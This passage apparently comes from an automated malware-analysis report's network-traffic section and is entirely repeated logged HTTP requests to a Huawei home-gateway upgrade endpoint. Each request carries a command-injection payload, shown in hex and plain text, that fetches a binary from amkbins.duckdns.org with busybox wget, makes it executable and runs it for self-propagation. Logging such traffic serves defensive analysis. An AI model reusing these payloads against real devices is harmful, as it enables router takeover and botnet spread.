HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
